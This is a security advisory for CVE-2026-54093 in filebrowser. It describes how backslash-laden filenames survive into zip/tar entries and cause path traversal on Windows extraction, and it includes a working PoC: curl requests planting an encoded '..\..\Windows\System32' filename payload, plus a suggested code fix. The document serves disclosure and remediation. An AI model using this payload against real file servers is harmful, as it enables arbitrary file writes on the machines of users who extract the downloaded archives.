CVE-2026-54093

Description

### Summary filebrowser builds the download-as-zip / download-as-tar archive entry names with `filepath.ToSlash`, which on a Linux host is a no-op for backslashes (`\` is only a path separator on Windows). A file whose name contains Windows-style traversal (`..\..\..\evil.txt`) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted **verbatim** as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`) interpret `\` as a path separator and write the extracted file **outside** the extraction directory — arbitrary file write on the victim who downloads and extracts the archive. ### Details `http/raw.go` `getFiles()` constructs the in-archive name and passes it to `github.com/mholt/[email protected]`: ```go nameInArchive := strings.TrimPrefix(path, commonPath) nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator)) nameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites '\' on Windows archiveFiles = append(archiveFiles, archives.FileInfo{ FileInfo: info, NameInArchive: nameInArchive, Open: func() (fs.File, error) { return d.user.Fs.Open(path) }, }) ``` On Linux `filepath.Separator == '/'`, so `filepath.ToSlash` leaves any literal backslash in the stored filename untouched. `mholt/archives` `nameOnDiskToNameInArchive` then writes that name verbatim into the zip/tar central directory. The filename reaches the filesystem because the resource create path (`http/resource.go` `resourcePostHandler`) derives the name from `r.URL.Path` and cleans it with `path.Clean("/" + ...)`, which treats only `/` as a separator. A URL-encoded backslash segment (`%5C`) therefore survives cleaning, and the file is created on the Linux FS with a literal `\` in its name. Any user with the **Create** permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file. ### PoC Deployed against the official image `filebrowser/filebrowser:v2.63.5` (current release, 2026-05-21). ```bash # 1. Deploy docker volume create fb-srv-vol docker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5 # wait for /health == 200; read the generated admin password from `docker logs fb-poc` PW="<password from docker logs>" # 2. Authenticate TOK=$(curl -s -X POST http://localhost:8088/api/login \ -H 'Content-Type: application/json' \ -d "{\"username\":\"admin\",\"password\":\"$PW\"}") # 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C) curl -s -o /dev/null -w "mkdir=%{http_code}\n" \ -X POST "http://localhost:8088/api/resources/evilzone/" -H "X-Auth: $TOK" FNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt' curl -s -o /dev/null -w "putfile=%{http_code}\n" \ -X POST "http://localhost:8088/api/resources/evilzone/${FNAME}?override=true" \ -H "X-Auth: $TOK" --data-binary 'PWNED-BY-TONGHUAROOT' # 4. Download the folder as a zip and inspect the entry name curl -s -o /tmp/fb_evil.zip "http://localhost:8088/api/raw/evilzone?algo=zip" -H "X-Auth: $TOK" python3 - <<'PY' import zipfile, binascii z = zipfile.ZipFile('/tmp/fb_evil.zip') print("entries:", [i.orig_filename for i in z.infolist()]) data = open('/tmp/fb_evil.zip','rb').read() idx = data.find(b'PK\x01\x02') print("central-dir hex:", binascii.hexlify(data[idx:idx+72]).decode()) print("contains 0x5c backslash byte:", b'\x5c' in data[idx:idx+200]) PY ``` **Observed output (verbatim):** ``` mkdir=200 putfile=200 entries: ['..\\..\\..\\..\\..\\Windows\\System32\\evil.txt'] central-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973 contains 0x5c backslash byte: True ``` Server-side, the file exists with a literal backslash name: ``` -rw-r----- 1 user user 20 ..\..\..\..\..\Windows\System32\evil.txt ``` The central-directory hex tail `2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973...` decodes to `..\..\..\..\..\Windows\Sys...`. **Negative control** — a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by `path.Clean`: ``` safezone entries: ['normal.txt'] PUT ..%2F..%2Fevil2.txt -> HTTP 301 (collapsed by path.Clean; nothing escapes) ``` This proves `/` is handled but `\` is the unhandled gap. To observe the Windows-side traversal effect, extract `fb_evil.zip` on Windows: ```powershell Expand-Archive -Path .\fb_evil.zip -DestinationPath .\out -Force # 7-Zip / WinRAR with default settings honor the ..\ parents and write outside .\out ``` ### Impact Arbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker's directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root's parent tree). ### Affected versions All current versions through v2.63.5 (verified against the v2.63.5 release image). The `filepath.ToSlash`-based normalization in `http/raw.go` `getFiles()` is the root cause; `github.com/mholt/[email protected]` passes the name through verbatim. ### Suggested fix Normalize Windows separators out of the in-archive name regardless of host OS, in `http/raw.go` `getFiles()` before constructing `archives.FileInfo`: ```go nameInArchive = filepath.ToSlash(nameInArchive) nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/") // strip Windows separators on any host ``` Optionally also reject or sanitize filenames containing `\` at create time in `http/resource.go` so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only `filepath.Base` likewise failed to strip backslashes on Linux.